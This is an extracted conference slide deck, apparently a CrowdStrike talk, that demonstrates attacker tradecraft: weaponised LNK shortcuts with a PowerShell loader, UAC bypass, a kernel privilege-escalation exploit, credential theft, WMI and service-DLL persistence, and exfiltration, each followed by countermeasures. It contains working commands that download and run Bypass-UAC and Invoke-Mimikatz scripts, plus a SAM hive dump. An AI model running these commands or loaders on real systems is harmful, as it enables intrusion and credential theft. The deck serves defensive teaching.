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ABOUT 	US

ELIA	ZAITSEV
• Sr Manager,	Solutions	Architecture	,	
CrowdStrike

• Previously	at	IBM,	i2,	Northrop	Grumman

• Wrote	an	awesome	paper	on	great	white	
sharks	in	3rd grade
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POWER 	O F 	 THE 	 ACADEMY
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THE 	NOMINEES 	ARE…
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BEST 	ACTOR 	 IN 	A 	 LEAD ING 	ROLE : 	 IN IT IAL 	 INFECT ION
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I N I T I A L 	 I N F EC T ION : 	 B EAR 	 TAC T I C 	 – MAL I C IOUS 	 LNK

Embedded	PowerShell	+	Payload	inside	
Windows	Shortcut	file	(LNK)

Payload	can	be	encoded	PowerShell	scripts,	or	
multiple	stages	of	obfuscated	binary	code

Two	handy	Social	Engineering	features:
Windows	hides	LNK	extension	even	when	set	
to	show	extensions	
Can	set	icon	of	shortcut	file	to	associated	
productivity	app	(Adobe,	Office,	etc)
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LNK 	 F I L E 	 COMPONENTS

LNK	target	command
powershell.exe -windowstyle hidden	-command	

"$b=[System.IO.File]::ReadAllBytes('.\spear.doc.lnk');
$l=[System.Text.Encoding]::ASCII.GetString($b,0xB30,0x414);
powershell.exe -windowstyle hidden	-enc $l”

Reads	self	and	extracts	b64	encoded	“loader”	script	from	
specific	offset	
Loader	is	located	after	body	of	shortcut;	makes	offsets	easier	to	calculate

256/260	character	limit	depending	on	OS	version
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PowerShell	Loader
$bytes	=	[System.IO.File]::ReadAllBytes('spear.doc.lnk');
$lure	=	[System.Text.Encoding]::ASCII.GetString($bytes,	0xF50,	0x3B8C);
$payload	=	[System.Text.Encoding]::ASCII.GetString($bytes,	0x4AF0,	0x1A4);
$Content	=	[System.Convert]::FromBase64String($lure);
Set-Content	-Path	$env:temp\lure.docx -Value	$Content	-Encoding	Byte;
Invoke-Item	$env:temp\lure.docx;
powershell.exe -encodedCommand $payload

Similar	to	LNK	target;	read	self	and	extract	b64	encoded	Lure/Payload

LNK 	 F I L E 	 COMPONENTS
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Simple	PowerShell	payload	for	demonstration
[System.Reflection.Assembly]::LoadWithPartialName(\"System.Windows.Forms
\")		|	Out-null;	
[System.Windows.Forms.MessageBox]::Show(\"This	is	a	payload	executing\")

Pop	a	message	box
Real	payload	example:
XOR	encoded	DLL	and	PNG	file
Decoded	DLL	is	executed
DLL	decrypts	IDAT	section	of	PNG	file,	modified	XTEA	algorithm,	
16byte	key	stored	in	DLL	data	section

LNK 	 F I L E 	 COMPONENTS
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Start	with	normal	LNK	shortcut	as	a	basis
Can	also	programmatically	craft	by	using	published	binary	format

Pad	LNK	target	command	with	blanks	up	to	256	characters	to	ensure	
fixed	size,	makes	calculating	offsets	easier

B64	encode	lure	document,	append	to	end	of	LNK	binary

B64	encode	payload,	append	lure

B64	encode	loader,	appended	after	payload

LNK 	 F I L E 	 CONSTRUCT ION
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S I M P L I F Y 	 W I T H 	 P Y T H O N !

#5-7	input	lnk file	name,	
lure	document,	and	
payload

#12	read	and	encode	
payload

#14-26	Calculate	size	and	
offset	for	lure	and	payload,	
construct	loader,	encode	
loader

LNK 	 F I L E 	 CONSTRUCT ION
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#28-90	LNK	file	“header”	
as	byte	array

Not	really	a	header	per	
say,	but	the	portions	
leading	up	to	the	LNK	
target	command	

S I M P L I F Y 	 W I T H 	 P Y T H O N !

LNK 	 F I L E 	 CONSTRUCT ION
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#92-103	Construct	LNK	target	
command	including	size	&	offset	
of	loader

#101	add	padding	up	to	256	
characters

#105-250	LNK	file	“footer”	as	
byte	array

Not	really	a	footer	per	say,	but	
the	portions	following	the	LNK	
target	command	

S I M P L I F Y 	 W I T H 	 P Y T H O N !

LNK 	 F I L E 	 CONSTRUCT ION
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#260	Append	encoded	
Lure,	Payload,	Loader	to	
end	of	file,	write	file	to	disk

Have	a	drink!

LNK 	 F I L E 	 CONSTRUCT ION

S I M P L I F Y 	 W I T H 	 P Y T H O N !
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DEMO
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I N I T I A L 	 I N F E C T I O N : 	
P A N D A 	 T A C T I C 	 – M A C R O 	 D O C U M E N T

PowerShell	payload	inside	Office	doc	VBA	macro

Payload	can	be	encoded	PowerShell	scripts,	or	multiple	stages	of	obfuscated	binary	code

No	exploitation	required,	but	does	require	macros	to	be	enabled	and/or	user	must	allow	
macro	to	run
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DEMO
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Force	Windows	to	show	LNK	extension
Delete	NeverShowExt registry	value	under	HKEY_CLASSES_ROOT\lnkfile

Block	Office	macros

COUNTERMEASURES
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BEST 	PR IV I LEGE 	ESCALAT ION	 IN 	A 	 SUPPORT ING 	ROLE
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PR I V I L EGE 	 E S CA LAT ION : 	BEAR 	 TAC T I C 	 – UACME 	 # 2 3

One	of	the	UAC	defeat	techniques	that	leverages	Windows	AutoElevate Backdoor
https://github.com/hfiref0x/UACME

Targets	pkgmgr.exe and	hijacks	loading	of	DismCore.dll

Implemented	via	PowerShell	as	well
powershell "IEX	(New-Object	
Net.WebClient).DownloadString('https://raw.githubusercontent.com/FuzzySecurity/
PowerShell-Suite/master/Bypass-UAC/Bypass-UAC.ps1');	Bypass-UAC	
ucmDismMethod"	

Works	on	x64	Win7	through	Win	10	Creator’s	Update,	Build	15031.
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H IGH 	 L EV E L 	 E X P LANAT ION : 	USMD I SMMETHOD 	

PowerShell	impersonates	explorer.exe

After	impersonation,	use	IFileOperation::CopyItem COM	calls	to	drop	
hijack/proxy	dll into	system32	as	DismCore.dll
Utilizing	IFileOperation gives	us	a	backdoor	to	copy	into	system32	without	UAC

Call	PkgMgr.exe
Legacy	Package	manager,	whitelisted	by	MS	against	UAC

PkgMgr.exe executes	dism.exe
Dism.exe not	whitelisted	but	doesn’t	matter	since	parent	is	already	elevated	

Dism.exe attempts	to	load	DismCore.dll,	which	is	what	we	hijack
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DEMO
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PR I V I L EGE 	 E S CA LAT ION : 	PANDA 	 TAC T I C 	 – K ERNE L 	 0 - DAY

0-day	64-bit	Kernel	exploit
CVE-2014-4113	– Vulnerability	in	Win32k.sys

First	used	by	Hurricane	Panda,	discovered	by	CrowdStrike
https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-
escalation-exploit-cve-2014-4113-hurricane-panda/

Originally	deployed	as	an	executable,	can	be	implemented	in	PowerShell	as	well
https://github.com/subTee/CVE-2014-4113/blob/master/Invoke-SystemShell.ps1
Also	has	a	metasploit module

I	demoed	this	live	at	RSA	2015	(PowerShell	version)
https://www.rsaconference.com/events/us15/agenda/sessions/1815/hacking-exposed-
beyond-the-malware
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UACME	#23
Configure	UAC	to	
always	notify
Stop	using	admin	
accounts	everywhere	
for	#@$%-sake!	

CVE-2014-4113
Patch	Windows
Upgrade	Windows
Yara rule	à

COUNTERMEASURES
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BEST 	CREDENT IAL 	THEFT SCORE
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CREDENT I A L 	 TH E F T: 	BEAR 	& 	 PANDA 	 – I T ’ S 	 A 	 T I E !

This	is	one	stage	where	we	see	lots	of	overlap	between	actors
Widespread	use	of	PowerShell	(Invoke-Mimikatz,	PowerSploit,	Invoke-
ReflectivePEInjection)
powershell "IEX	(New-Object	
Net.WebClient).DownloadString('https://raw.githubusercontent.com/
mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');	
Invoke-Mimikatz;	exit"

Saving	Registry	hives
C:\Windows\System32\reg.exe save	HKLM\sam C:\1.tmp
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Upgrade	to	Windows	10
Credential	Guard
— Only	protects	Domain	Credentials	

Monitor/restrict	PowerShell	usage
Win	10	/w	Device	Guard	&	Script	policies	can	disable	unsigned	scripts	that	use	
reflection
— Can	be	bypassed	if	older	versions	of	PS	are	allowed	to	run

COUNTERMEASURES
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BEST 	PERS ISTENCE 	 IN 	A 	 S I LENT 	BREACH
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P ERS I S T ENCE : 	BEAR 	 TAC T I C 	 – WMI 	 EV ENT 	 SUBSCR I P T ION

Three	Components
Event	Filter	is	triggered	on	action(s)
— Dozens	of	options	such	as	User	logs	in,	System	boots,	timer,	etc
Consumer	binds	to	Event	filter	and	executes	command	when	triggered
Command	is	a	b64	PowerShell	payload	stored	inside	a	custom	WMI	class
— Encoded	binary	payloads	can	be	hidden	inside	WMI	repository	and	avoid	touching	

disk

Can	be	implemented	with	various	tools	such	as	wmic.exe and	third	party	tools,	but	
PowerShell	is	the	most	common
Can	be	done	remotely	as	well	using	DCOM	or	WinRM
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WMI 	 EV ENT 	 SUBSCR I P T ION 	 BREAKDOWN

CU S TOM 	 C L A S S

#1	Store	class	in	
root\cmiv2

#2	Create	custom	class	
“HackingExposed_Class”

#4	Payload	written	to	
class	property	called	
“Payload”,	executes	
calc.exe
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E V EN T 	 F I LT E R

#7	Filter	named	
“Hacking	Exposed	Filter”

#9-10	WQL	query	
defines	event	to	
trigger	on

#12-14	Registers	event

WMI 	 EV ENT 	 SUBSCR I P T ION 	 BREAKDOWN
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E V EN T 	 CON S UMER

#16	Consumer	named	
“HackingExposedConsumer”

#18	Executing	Powershell

#20-22	Powershell argument	reads	
the	’Payload’	property	from	the	
“HackingExposed_Class”

#24	Combine	path	+	args

#26-28	Register	consumer

WMI 	 EV ENT 	 SUBSCR I P T ION 	 BREAKDOWN
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Bind	the	event	filter	to	consumer

WMI 	 EV ENT 	 SUBSCR I P T ION 	 BREAKDOWN
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P ERS I S T ENCE : 	PANDA 	 TAC T I C 	 – S ERV I C ED L L

Similar	to	a	service	EXE,	except	runs	under	svchost

Creation	of	a	service	DLL	is	undocumented
Adversary	can	build	from	scratch,	or	hijack	a	legitimate	service	DLL,	we	will	do	
the	latter
Legitimate	DLL	is	hardcoded	to	execute	a	particular	binary
Replace	target	binary	with	payload

Service	is	created	via	registry	keys	and	applied	on	reboot
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REG I S T ER ING 	 THE 	 S ERV I C E

Execute	reg file
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Innocuous	Description,	and	
Display	name

Execute	as	LocalSystem

ImagePath points	to	svchost;	can	run	
under	existing	or	new	group	

Stealth	vs	Stability

Start=2	means	autostart

ServiceDLL points	to	dll path

REG I S T ER ING 	 THE 	 S ERV I C E
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DEMO
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User	PowerShell	to	list	WMI	Filters/Consumers/Binders
Get-WmiObject -Class	[__EventFilter |	__EventConsumer |	
__FilterToConsumerBinding] –NameSpace root\subscription	

Log	WMI	activities
Event	logs
Create	WMI	event	filter	to	monitor	for	new	WMI	event	filters

Disable	WMI	

COUNTERMEASURES
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Robust	EDR	solutions	can	track	WMI	creation,	execution,	Service	
creation,	ASEP	modifications,	etc

COUNTERMEASURES
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Robust	EDR	
solutions	can	track	
WMI	creation,	
execution,	Service	
creation,	
ASEP	
modifications,	etc

COUNTERMEASURES
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BEST 	EXF I LTRAT ION	 IN 	A 	 SHORT 	FORMAT
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E X F I LT RAT ION : 	 B EAR 	 TAC T I C 	 – MAKECAB 	 + 	ONEDR I V E 	

Really	two	different	sub-techniques	
used	in	concert

MakeCAB - for	archiving	and	
compressing	target	files

— Comes	built-in	since	WinXP!	No	
need	to	schlep	external	tools

— Does	not	encrypt	data	
(un)fortunately

OneDrive	– Mounted	as	network	share
Bonus:	SSL	encryption!
Blends	with	normal	enterprise	traffic
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DEMO
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E X F I LT RAT ION : 	PANDA 	 TAC T I C 	 – D I SGU I S ED 	 RAR

Uses	RAR	command	line	tool	
for	packaging	and	encryption	
of	exfil data
Often	renamed	to	another	
file	for	minor	obfuscation
Sometimes	packed/hash	
modified
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DEMO
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Distinctive	command	line	arguments	used	for	RAR,	can	be	hunting	lead	
for	EDR	tools

Can	also	monitor	for	CAB/RAR	file	creation	(particularly	on	Servers)

COUNTERMEASURES
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BEST 	DRAMA
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BEST 	 FEMALE 	SUPPORT ING 	ACTOR 	 IN 	 FORE IGN 	BREACH
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FANCY 	BEAR
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L I FET IME 	ACH IEVEMENT 	AWARD
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MIMIKATZ
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THANK	YOU!

HOW	TO	REACH	US:	
TWITTER:	@GEORGE_KURTZ	&	@DALPEROVITCH

FOR	MORE	INFORMATION	&	TO	DOWNLOAD	SLIDES:	
BLOG.CROWDSTRIKE.COM
CrowdInspect Update	– THANK	YOU	VirusTotal!

LEARN	MORE	ABOUT	NEXT-GENERATION	ENDPOINT	PROTECTION
LEARN	ABOUT	CROWDSTRIKE	FALCON:	WWW.CROWDSTRIKE.COM/PRODUCTS
REQUEST	A	DEMO:	WWW.CROWDSTRIKE.COM/REQUEST-A-DEMO/	

COME	MEET	US:
BOOTH	2345	SOUTH	HALL


